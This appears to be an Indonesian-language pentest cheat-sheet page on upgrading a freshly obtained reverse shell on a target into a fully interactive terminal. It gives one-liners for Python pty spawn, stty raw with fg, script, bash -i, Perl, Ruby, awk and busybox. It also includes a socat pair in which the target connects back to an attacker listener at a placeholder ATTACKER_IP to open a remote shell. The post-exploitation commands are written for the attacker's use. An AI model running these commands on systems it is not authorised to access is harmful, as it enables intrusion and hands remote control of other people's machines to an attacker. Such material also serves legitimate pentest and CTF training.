Interactive TTY Shell
Upgrade dari non-interactive shell ke fully interactive PTY. Wajib dilakukan setelah dapat reverse shell — tanpa TTY, su gagal, arrow key menghasilkan karakter aneh, Ctrl+C memutus koneksi, dan text editor tidak bisa dipakai.
Python PTY Spawn
Membuat pseudo-terminal (PTY) menggunakan modul bawaan Python. Modul `pty` memanggil system call `openpty()` yang mengalokasikan pasangan master/slave TTY baru, lalu bash di-spawn di dalam slave TTY tersebut. Hasilnya: shell yang berperilaku seperti login terminal normal — arrow key bekerja, tab completion aktif, su bisa digunakan, dan Ctrl+C tidak memutus koneksi melainkan mengirim SIGINT ke proses foreground.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Python2:
python -c 'import pty;pty.spawn("/bin/bash")'
Kapan dipakai: Langsung setelah mendapatkan reverse shell — lakukan sebelum mencoba su, sudo, atau membuka editor
stty raw -echo + fg (Upgrade ke Full TTY)
`stty raw` menonaktifkan line processing di terminal lokal attacker — input dikirim byte per byte tanpa buffering. `-echo` mencegah karakter yang diketik muncul dua kali. `fg` mengembalikan reverse shell ke foreground. Hasilnya: full PTY dengan arrow key, history (Ctrl+R), resize terminal, dan semua fitur terminal normal. `export TERM=xterm` memberi tahu shell jenis terminal yang digunakan agar escape code berfungsi. `stty rows/columns` menyesuaikan ukuran agar editor seperti vim tahu dimensi layar.
# Step 1: Spawn PTY di shell target
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Step 2: Background shell (tekan CTRL+Z di terminal attacker)
# Step 3: Di terminal lokal attacker, jalankan:
stty raw -echo; fg
# Step 4: Setelah shell kembali, set terminal:
export TERM=xterm
stty rows 40 columns 160
Kapan dipakai: Setelah Python PTY Spawn berhasil — ini adalah langkah lanjutan untuk mendapat full TTY
Note: Step 3 dijalankan di terminal LOKAL attacker sebelum fg, bukan di dalam shell target
Script Command
Utilitas `script` normalnya merekam sesi terminal ke file. Dengan output ke `/dev/null` dan command `bash`, ia membuat PTY baru tanpa menyimpan rekaman. Tidak bergantung Python — menggunakan system call `openpty()` langsung lewat binary C. Efeknya sama dengan Python PTY: bash berjalan di dalam PTY sehingga interactive features aktif. Variant 2 dengan flag `-q` (quiet) cocok untuk distro yang argumennya berbeda urutan.
script /dev/null -c bash
Variant 2 (beberapa distro):
script -qc /bin/bash /dev/null
Kapan dipakai: Gunakan jika python3 dan python tidak ditemukan — cek dengan: which python3 python
Bash Interactive Mode
Flag `-i` memaksa bash masuk ke interactive mode: prompt PS1 muncul, ~/.bashrc dibaca, command history aktif, dan job control sebagian berfungsi. Ini bukan PTY sejati — shell masih tidak punya controlling terminal sehingga `su` dan editor seperti vim masih mungkin gagal. Tapi cukup untuk menjalankan command-command dasar dengan lebih nyaman.
/bin/bash -i
sh variant:
/bin/sh -i
Kapan dipakai: Solusi cepat jika Python dan script tidak tersedia. Upgrade ke PTY jika memungkinkan.
Socat Full TTY
Socat menghubungkan dua stream. Di attacker: `file:`tty`` = TTY terminal lokal, `raw` = nonaktifkan line processing, `echo=0` = matikan echo. Di target: `exec:bash -li` = spawn login bash interactive, `pty` = alokasi PTY, `stderr` = gabung stderr ke stdout, `setsid` = buat session baru (bash jadi process leader), `sigint` = teruskan CTRL+C ke bash, `sane` = reset terminal settings ke default wajar. Hasilnya identik dengan koneksi SSH — kualitas terminal terbaik, tidak perlu stty upgrade.
socat file:`tty`,raw,echo=0 tcp-listen:4444
Di target (jalankan setelah listener aktif):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
Kapan dipakai: Jika socat tersedia di target. Cek: which socat. Kualitas terbaik, tidak perlu step tambahan.
Note: Jalankan command listener di attacker DULU, baru jalankan command target
Perl
`exec()` di Perl me-replace proses Perl saat ini dengan `/bin/bash` menggunakan system call `execve()`. Bash yang dihasilkan mewarisi file descriptor dari shell sebelumnya termasuk koneksi TCP reverse shell. Perl sering terpasang di server web lama (CGI scripts) dan sistem Linux lama yang mungkin tidak punya Python.
perl -e 'exec "/bin/bash";'
Kapan dipakai: Jika Python tidak ada tapi Perl tersedia — cek: which perl
Ruby
Sama dengan Perl — `exec()` Ruby mengganti proses Ruby dengan bash via `execve()`. Ruby biasa ditemukan di server Ruby on Rails atau sistem developer. Lebih jarang dari Python/Perl tapi layak dicoba.
ruby -e 'exec "/bin/bash"'
Kapan dipakai: Jika Python dan Perl tidak ada tapi Ruby tersedia — cek: which ruby
Awk
`system()` dalam awk menjalankan perintah shell menggunakan `fork()+exec()` dan menunggu hasilnya. Awk adalah tool pengolahan teks yang hampir selalu ada di setiap sistem Linux — termasuk sistem minimal yang tidak punya interpreter bahasa tingkat tinggi. Sangat jarang tidak tersedia.
awk 'BEGIN {system("/bin/bash")}'
Kapan dipakai: Last resort — awk hampir dijamin ada di sistem Linux manapun
BusyBox Shell
BusyBox adalah satu binary yang mengimplementasikan ratusan utilitas Unix (sh, ls, cat, wget, dll) dalam ukuran sangat kecil. Digunakan di sistem embedded, router, dan container minimal. `busybox sh` memanggil implementasi shell POSIX milik BusyBox yang mendukung interactive mode. Berguna di Alpine Linux atau container Docker minimal yang tidak punya bash.
busybox sh
Kapan dipakai: Container Docker minimal, Alpine Linux, sistem embedded, atau router
← RESPWN Dashboard